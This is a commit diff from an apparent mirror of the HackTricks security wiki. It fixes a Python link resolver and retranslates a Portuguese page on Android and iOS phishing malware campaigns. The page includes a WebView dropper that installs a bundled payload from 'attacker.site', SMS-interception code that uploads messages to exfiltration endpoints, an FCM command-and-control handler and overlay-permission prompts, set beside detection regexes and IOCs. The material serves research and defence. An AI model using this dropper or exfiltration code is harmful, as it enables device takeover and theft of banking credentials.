mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-
This commit is contained in:
parent
e655ba139a
commit
b94b307af7
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
|||||||
logger.addHandler(handler2)
|
logger.addHandler(handler2)
|
||||||
|
|
||||||
|
|
||||||
def findtitle(search ,obj, key, path=(),):
|
def findtitle(search, obj, key, path=()):
|
||||||
# logger.debug(f"Looking for {search} in {path}")
|
# logger.debug(f"Looking for {search} in {path}")
|
||||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||||
return obj, path
|
return obj, path
|
||||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
|||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
result = findtitle(href.split("#")[0], book, "source_path")
|
||||||
|
if result is not None:
|
||||||
|
chapter, _path = result
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(href, book, "source_path")
|
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||||
|
else:
|
||||||
|
result = findtitle(href, book, "source_path")
|
||||||
|
if result is not None:
|
||||||
|
chapter, _path = result
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
title = chapter['name']
|
title = chapter['name']
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dir = path.dirname(current_chapter['source_path'])
|
dir = path.dirname(current_chapter['source_path'])
|
||||||
rel_path = path.normpath(path.join(dir,href))
|
rel_path = path.normpath(path.join(dir,href))
|
||||||
try:
|
try:
|
||||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
|
if result is not None:
|
||||||
|
chapter, _path = result
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||||
|
else:
|
||||||
|
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||||
|
if result is not None:
|
||||||
|
chapter, _path = result
|
||||||
title = chapter["name"]
|
title = chapter["name"]
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.error(f'Error getting chapter title: {rel_path}')
|
logger.error(f'Error getting chapter title: {rel_path}')
|
||||||
|
@ -768,7 +768,7 @@
|
|||||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||||
@ -837,8 +837,9 @@
|
|||||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
|
@ -3,65 +3,65 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs maliciosos do Android** e **perfis de configuração móvel do iOS** através de phishing (SEO, engenharia social, lojas falsas, aplicativos de namoro, etc.).
|
> Esta página cobre técnicas usadas por atores de ameaça para distribuir **APKs Android maliciosos** e **iOS mobile-configuration profiles** através de phishing (SEO, engenharia social, lojas falsas, apps de namoro, etc.).
|
||||||
> O material é adaptado da campanha SarangTrap exposta pelo Zimperium zLabs (2025) e outras pesquisas públicas.
|
> O material é adaptado da campanha SarangTrap exposta pela Zimperium zLabs (2025) e outras pesquisas públicas.
|
||||||
|
|
||||||
## Fluxo de Ataque
|
## Fluxo de Ataque
|
||||||
|
|
||||||
1. **Infraestrutura de SEO/Phishing**
|
1. **Infraestrutura de SEO/Phishing**
|
||||||
* Registrar dezenas de domínios semelhantes (namoro, compartilhamento em nuvem, serviço de carro…).
|
* Registrar dezenas de domínios parecidos (sites de namoro, compartilhamento em nuvem, serviço de carro…).
|
||||||
– Usar palavras-chave e emojis em língua local no elemento `<title>` para ranquear no Google.
|
– Usar palavras-chave no idioma local e emojis no elemento `<title>` para ranquear no Google.
|
||||||
– Hospedar *tanto* as instruções de instalação do Android (`.apk`) quanto do iOS na mesma página de destino.
|
– Hospedar *ambas* as instruções de instalação para Android (`.apk`) e iOS na mesma landing page.
|
||||||
2. **Download da Primeira Etapa**
|
2. **Download da Primeira Fase**
|
||||||
* Android: link direto para um APK *não assinado* ou de “loja de terceiros”.
|
* Android: link direto para um APK *não assinado* ou de “loja de terceiros”.
|
||||||
* iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (veja abaixo).
|
* iOS: `itms-services://` ou link HTTPS simples para um perfil **mobileconfig** malicioso (ver abaixo).
|
||||||
3. **Engenharia Social Pós-instalação**
|
3. **Engenharia social pós-instalação**
|
||||||
* Na primeira execução, o aplicativo pede um **código de convite / verificação** (ilusão de acesso exclusivo).
|
* Na primeira execução o app pede um **código de convite / verificação** (ilusão de acesso exclusivo).
|
||||||
* O código é **POSTado via HTTP** para o Comando e Controle (C2).
|
* O código é **POSTado via HTTP** para o Command-and-Control (C2).
|
||||||
* O C2 responde `{"success":true}` ➜ o malware continua.
|
* C2 responde `{"success":true}` ➜ o malware continua.
|
||||||
* Análise dinâmica de Sandbox / AV que nunca envia um código válido não vê **comportamento malicioso** (evasão).
|
* Análises dinâmicas em sandbox/AV que nunca submetem um código válido não veem **comportamento malicioso** (evasão).
|
||||||
4. **Abuso de Permissão em Tempo de Execução** (Android)
|
4. **Abuso de Permissões em Tempo de Execução (Android)**
|
||||||
* Permissões perigosas são solicitadas **apenas após resposta positiva do C2**:
|
* Permissões perigosas são solicitadas apenas **após resposta positiva do C2**:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Compilações mais antigas também pediam permissões de SMS -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Variantes recentes **removem `<uses-permission>` para SMS do `AndroidManifest.xml`** mas mantêm o caminho de código Java/Kotlin que lê SMS através de reflexão ⇒ reduz a pontuação estática enquanto ainda é funcional em dispositivos que concedem a permissão via abuso de `AppOps` ou alvos antigos.
|
* Variantes recentes **removem `<uses-permission>` para SMS do `AndroidManifest.xml`** mas deixam o caminho de código Java/Kotlin que lê SMS através de reflection ⇒ reduz a pontuação estática enquanto ainda funciona em dispositivos que concedem a permissão via `AppOps` abuse ou alvos antigos.
|
||||||
5. **Interface de Facade & Coleta em Segundo Plano**
|
5. **Interface de fachada & coleta em segundo plano**
|
||||||
* O aplicativo mostra visualizações inofensivas (visualizador de SMS, seletor de galeria) implementadas localmente.
|
* O app mostra telas inofensivas (visualizador de SMS, seletor de galeria) implementadas localmente.
|
||||||
* Enquanto isso, exfiltra:
|
* Enquanto isso exfiltra:
|
||||||
- IMEI / IMSI, número de telefone
|
- IMEI / IMSI, número de telefone
|
||||||
- Dump completo de `ContactsContract` (array JSON)
|
- Dump completo de `ContactsContract` (array JSON)
|
||||||
- JPEG/PNG de `/sdcard/DCIM` comprimido com [Luban](https://github.com/Curzibn/Luban) para reduzir o tamanho
|
- JPEG/PNG de `/sdcard/DCIM` comprimidos com [Luban](https://github.com/Curzibn/Luban) para reduzir o tamanho
|
||||||
- Conteúdo opcional de SMS (`content://sms`)
|
- Conteúdo SMS opcional (`content://sms`)
|
||||||
Os payloads são **compactados em lote** e enviados via `HTTP POST /upload.php`.
|
Payloads são **zipados em lote** e enviados via `HTTP POST /upload.php`.
|
||||||
6. **Técnica de Entrega do iOS**
|
6. **Técnica de entrega iOS**
|
||||||
* Um único **perfil de configuração móvel** pode solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em supervisão semelhante a “MDM”.
|
* Um único **mobile-configuration profile** pode requisitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` etc. para inscrever o dispositivo em uma supervisão similar a “MDM”.
|
||||||
* Instruções de engenharia social:
|
* Instruções de engenharia social:
|
||||||
1. Abra Configurações ➜ *Perfil baixado*.
|
1. Abra Settings ➜ *Profile downloaded*.
|
||||||
2. Toque em *Instalar* três vezes (capturas de tela na página de phishing).
|
2. Toque em *Install* três vezes (screenshots na página de phishing).
|
||||||
3. Confie no perfil não assinado ➜ o atacante ganha direito a *Contatos* & *Foto* sem revisão da App Store.
|
3. Confie no perfil não assinado ➜ atacante ganha entitlement de *Contacts* & *Photo* sem revisão da App Store.
|
||||||
7. **Camada de Rede**
|
7. **Camada de Rede**
|
||||||
* HTTP simples, frequentemente na porta 80 com cabeçalho HOST como `api.<phishingdomain>.com`.
|
* HTTP simples, frequentemente na porta 80 com HOST header como `api.<phishingdomain>.com`.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de detectar).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sem TLS → fácil de identificar).
|
||||||
|
|
||||||
## Testes Defensivos / Dicas de Red-Team
|
## Testes Defensivos / Dicas para Red-Team
|
||||||
|
|
||||||
* **Bypass de Análise Dinâmica** – Durante a avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar o ramo malicioso.
|
* **Bypass de Análise Dinâmica** – Durante avaliação de malware, automatize a fase do código de convite com Frida/Objection para alcançar a ramificação maliciosa.
|
||||||
* **Diferença entre Manifesto e Tempo de Execução** – Compare `aapt dump permissions` com `PackageManager#getRequestedPermissions()` em tempo de execução; permissões perigosas ausentes são um sinal de alerta.
|
* **Manifest vs. Runtime Diff** – Compare `aapt dump permissions` com runtime `PackageManager#getRequestedPermissions()`; permissões perigosas ausentes são um sinal de alerta.
|
||||||
* **Canário de Rede** – Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar explosões de POST não sólidas após a entrada do código.
|
* **Canário de Rede** – Configure `iptables -p tcp --dport 80 -j NFQUEUE` para detectar rajadas suspeitas de POST após a entrada do código.
|
||||||
* **Inspeção de mobileconfig** – Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar direitos excessivos.
|
* **Inspeção de mobileconfig** – Use `security cms -D -i profile.mobileconfig` no macOS para listar `PayloadContent` e identificar entitlements excessivos.
|
||||||
|
|
||||||
## Ideias de Detecção para Blue-Team
|
## Ideias de Detecção para Blue Team
|
||||||
|
|
||||||
* **Transparência de Certificado / Análise de DNS** para capturar explosões súbitas de domínios ricos em palavras-chave.
|
* **Certificate Transparency / DNS Analytics** para detectar surtos súbitos de domínios ricos em keywords.
|
||||||
* **Regex de User-Agent & Caminho**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play.
|
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fora do Google Play.
|
||||||
* **Telemetria de Código de Convite** – POST de códigos numéricos de 6–8 dígitos logo após a instalação do APK pode indicar preparação.
|
* **Telemetria de código de convite** – POSTs de códigos numéricos de 6–8 dígitos logo após a instalação do APK podem indicar estágio.
|
||||||
* **Assinatura de MobileConfig** – Bloquear perfis de configuração não assinados via política MDM.
|
* **Assinatura de MobileConfig** – Bloquear perfis de configuração não assinados via política MDM.
|
||||||
|
|
||||||
## Snippet Útil do Frida: Bypass Automático do Código de Convite
|
## Exemplo útil de Frida: Auto-Bypass do código de convite
|
||||||
```python
|
```python
|
||||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||||
# Hook HttpURLConnection write to always return success
|
# Hook HttpURLConnection write to always return success
|
||||||
@ -88,28 +88,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## Android WebView Payment Phishing (UPI) – Dropper + Padrão FCM C2
|
## Android WebView Payment Phishing (UPI) – Padrão Dropper + FCM C2
|
||||||
|
|
||||||
Esse padrão foi observado em campanhas que abusam de temas de benefícios governamentais para roubar credenciais e OTPs do UPI indiano. Operadores encadeiam plataformas respeitáveis para entrega e resiliência.
|
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||||
|
|
||||||
### Cadeia de entrega através de plataformas confiáveis
|
### Cadeia de entrega através de plataformas confiáveis
|
||||||
- Isca de vídeo no YouTube → descrição contém um link curto
|
- Isca por vídeo no YouTube → a descrição contém um link curto
|
||||||
- Link curto → site de phishing do GitHub Pages imitando o portal legítimo
|
- Link curto → site de phishing no GitHub Pages imitando o portal legítimo
|
||||||
- O mesmo repositório do GitHub hospeda um APK com um falso selo “Google Play” que liga diretamente ao arquivo
|
- O mesmo repositório GitHub hospeda um APK com um selo falso “Google Play” que aponta diretamente para o arquivo
|
||||||
- Páginas de phishing dinâmicas estão ativas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM)
|
- Páginas de phishing dinâmicas hospedadas no Replit; o canal de comando remoto usa Firebase Cloud Messaging (FCM)
|
||||||
|
|
||||||
### Dropper com payload embutido e instalação offline
|
### Dropper com embedded payload e instalação offline
|
||||||
- O primeiro APK é um instalador (dropper) que envia o malware real em `assets/app.apk` e solicita ao usuário que desative Wi‑Fi/dados móveis para reduzir a detecção na nuvem.
|
- O primeiro APK é um instalador (dropper) que inclui o malware real em `assets/app.apk` e solicita que o usuário desative Wi‑Fi/dados móveis para reduzir a detecção em nuvem.
|
||||||
- O payload embutido é instalado sob um rótulo inócuo (por exemplo, “Atualização Segura”). Após a instalação, tanto o instalador quanto o payload estão presentes como aplicativos separados.
|
- O embedded payload instala-se sob um rótulo inofensivo (por exemplo, “Secure Update”). Após a instalação, tanto o instalador quanto o payload estão presentes como apps separados.
|
||||||
|
|
||||||
Dica de triagem estática (grep para payloads embutidos):
|
Static triage tip (grep for embedded payloads):
|
||||||
```bash
|
```bash
|
||||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Descoberta dinâmica de endpoints via shortlink
|
### Descoberta dinâmica de endpoints via shortlink
|
||||||
- O malware busca uma lista de endpoints ativos em texto simples, separados por vírgulas, de um shortlink; transformações simples de string produzem o caminho final da página de phishing.
|
- Malware obtém uma lista em texto simples, separada por vírgulas, de endpoints ativos a partir de um shortlink; transformações simples de string produzem o caminho final da página de phishing.
|
||||||
|
|
||||||
Exemplo (sanitizado):
|
Exemplo (sanitizado):
|
||||||
```
|
```
|
||||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
|||||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||||
```
|
```
|
||||||
Pseudo-código:
|
Pseudocódigo:
|
||||||
```java
|
```java
|
||||||
String csv = httpGet(shortlink);
|
String csv = httpGet(shortlink);
|
||||||
String[] parts = csv.split(",");
|
String[] parts = csv.split(",");
|
||||||
@ -128,7 +128,7 @@ String smsPost = parts[1];
|
|||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### Coleta de credenciais UPI baseada em WebView
|
### Coleta de credenciais UPI baseada em WebView
|
||||||
- A etapa “Fazer pagamento de ₹1 / UPI‑Lite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, PIN UPI) que são `POST`ados para `addup.php`.
|
- A etapa “Make payment of ₹1 / UPI‑Lite” carrega um formulário HTML do atacante a partir do endpoint dinâmico dentro de um WebView e captura campos sensíveis (telefone, banco, UPI PIN) que são `POST`ados para `addup.php`.
|
||||||
|
|
||||||
Loader mínimo:
|
Loader mínimo:
|
||||||
```java
|
```java
|
||||||
@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web);
|
|||||||
wv.getSettings().setJavaScriptEnabled(true);
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Autopropagação e interceptação de SMS/OTP
|
### Self-propagation and SMS/OTP interception
|
||||||
- Permissões agressivas são solicitadas na primeira execução:
|
- Permissões agressivas são solicitadas na primeira execução:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
@ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
|||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Contatos são usados para enviar em massa SMS smishing do dispositivo da vítima.
|
- Contatos são percorridos para enviar smishing SMS em massa a partir do dispositivo da vítima.
|
||||||
- SMS recebidos são interceptados por um receptor de transmissão e enviados com metadados (remetente, corpo, slot SIM, ID aleatório por dispositivo) para `/addsm.php`.
|
- SMS recebidos são interceptados por um broadcast receiver e enviados com metadados (remetente, corpo, slot do SIM, ID aleatório por dispositivo) para `/addsm.php`.
|
||||||
|
|
||||||
Receiver sketch:
|
Esboço do receiver:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) como C2 resiliente
|
### Firebase Cloud Messaging (FCM) como C2 resiliente
|
||||||
- O payload se registra no FCM; mensagens push carregam um campo `_type` usado como um interruptor para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos).
|
- O payload registra-se no FCM; mensagens push carregam um campo `_type` usado como um switch para acionar ações (por exemplo, atualizar modelos de texto de phishing, alternar comportamentos).
|
||||||
|
|
||||||
Exemplo de payload FCM:
|
Exemplo de payload FCM:
|
||||||
```json
|
```json
|
||||||
@ -174,7 +174,7 @@ Exemplo de payload FCM:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Esboço do manipulador:
|
Esboço do Handler:
|
||||||
```java
|
```java
|
||||||
@Override
|
@Override
|
||||||
public void onMessageReceived(RemoteMessage msg){
|
public void onMessageReceived(RemoteMessage msg){
|
||||||
@ -186,27 +186,178 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Padrões de caça e IOCs
|
### Padrões de hunting e IOCs
|
||||||
- APK contém carga secundária em `assets/app.apk`
|
- APK contém payload secundário em `assets/app.apk`
|
||||||
- WebView carrega pagamento de `gate.htm` e exfiltra para `/addup.php`
|
- WebView carrega pagamento de `gate.htm` e exfiltra para `/addup.php`
|
||||||
- Exfiltração de SMS para `/addsm.php`
|
- Exfiltração de SMS para `/addsm.php`
|
||||||
- Busca de configuração impulsionada por link curto (por exemplo, `rebrand.ly/*`) retornando endpoints CSV
|
- Busca de config via shortlink (e.g., `rebrand.ly/*`) retornando endpoints CSV
|
||||||
- Apps rotulados como genéricos “Atualizar/Atualização Segura”
|
- Apps rotulados como genéricos “Update/Secure Update”
|
||||||
- Mensagens `data` do FCM com um discriminador `_type` em apps não confiáveis
|
- Mensagens FCM `data` com um discriminador `_type` em apps não confiáveis
|
||||||
|
|
||||||
### Ideias de detecção e defesa
|
### Ideias de detecção e defesa
|
||||||
- Marcar apps que instruem os usuários a desativar a rede durante a instalação e, em seguida, carregar um segundo APK de `assets/`.
|
- Marcar apps que instruem usuários a desativar a rede durante a instalação e então fazer sideload de um segundo APK de `assets/`.
|
||||||
- Alertar sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView.
|
- Gerar alerta sobre a tupla de permissões: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + fluxos de pagamento baseados em WebView.
|
||||||
- Monitoramento de saída para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida.
|
- Monitoramento de egress para `POST /addup.php|/addsm.php` em hosts não corporativos; bloquear infraestrutura conhecida.
|
||||||
- Regras de EDR móvel: app não confiável registrando-se para FCM e ramificando em um campo `_type`.
|
- Regras Mobile EDR: app não confiável registrando-se no FCM e ramificando com base no campo `_type`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – estudo de caso RatOn
|
||||||
|
|
||||||
|
A campanha RatOn banker/RAT (ThreatFabric) é um exemplo concreto de como operações modernas de mobile phishing combinam WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, e até NFC-relay orchestration. Esta seção abstrai as técnicas reutilizáveis.
|
||||||
|
|
||||||
|
### Stage-1: WebView → ponte nativa de instalação (dropper)
|
||||||
|
|
||||||
|
Os atacantes exibem um WebView apontando para uma página atacante e injetam uma JavaScript interface que expõe um native installer. Um toque em um botão HTML chama código nativo que instala um APK de segunda etapa empacotado nos assets do dropper e então o executa diretamente.
|
||||||
|
|
||||||
|
Padrão mínimo:
|
||||||
|
```java
|
||||||
|
public class DropperActivity extends Activity {
|
||||||
|
@Override protected void onCreate(Bundle b){
|
||||||
|
super.onCreate(b);
|
||||||
|
WebView wv = new WebView(this);
|
||||||
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
|
wv.addJavascriptInterface(new Object(){
|
||||||
|
@android.webkit.JavascriptInterface
|
||||||
|
public void installApk(){
|
||||||
|
try {
|
||||||
|
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||||
|
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||||
|
int id = pi.createSession(p);
|
||||||
|
try (PackageInstaller.Session s = pi.openSession(id);
|
||||||
|
InputStream in = getAssets().open("payload.apk");
|
||||||
|
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||||
|
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||||
|
}
|
||||||
|
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||||
|
pi.commit(id, status.getIntentSender());
|
||||||
|
} catch (Exception e) { /* log */ }
|
||||||
|
}
|
||||||
|
}, "bridge");
|
||||||
|
setContentView(wv);
|
||||||
|
wv.loadUrl("https://attacker.site/install.html");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Por favor, cole o HTML da página que você quer que eu traduza.
|
||||||
|
```html
|
||||||
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
|
```
|
||||||
|
Após a instalação, o dropper inicia o payload via package/activity explícito:
|
||||||
|
```java
|
||||||
|
Intent i = new Intent();
|
||||||
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
|
startActivity(i);
|
||||||
|
```
|
||||||
|
Hunting idea: apps não confiáveis chamando `addJavascriptInterface()` e expondo métodos semelhantes a instaladores para WebView; APK distribuindo um payload secundário embutido em `assets/` e invocando o Package Installer Session API.
|
||||||
|
|
||||||
|
### Funil de consentimento: Accessibility + Device Admin + prompts de runtime subsequentes
|
||||||
|
Stage-2 abre um WebView que hospeda uma página “Access”. O botão desta invoca um método exportado que navega a vítima para as configurações de Accessibility e solicita a ativação do serviço malicioso. Uma vez concedido, o malware usa Accessibility para clicar automaticamente através dos diálogos de permissão de runtime subsequentes (contacts, overlay, manage system settings, etc.) e solicita Device Admin.
|
||||||
|
|
||||||
|
- Accessibility ajuda programaticamente a aceitar prompts posteriores encontrando botões como “Allow”/“OK” na árvore de nós e disparando cliques.
|
||||||
|
- Verificação/solicitação de permissão de overlay:
|
||||||
|
```java
|
||||||
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
|
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
||||||
|
Uri.parse("package:" + ctx.getPackageName()));
|
||||||
|
ctx.startActivity(i);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Veja também:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### Phishing por sobreposição / resgate via WebView
|
||||||
|
Operadores podem emitir comandos para:
|
||||||
|
- exibir uma sobreposição em tela cheia a partir de uma URL, ou
|
||||||
|
- passar HTML inline que é carregado em uma sobreposição WebView.
|
||||||
|
|
||||||
|
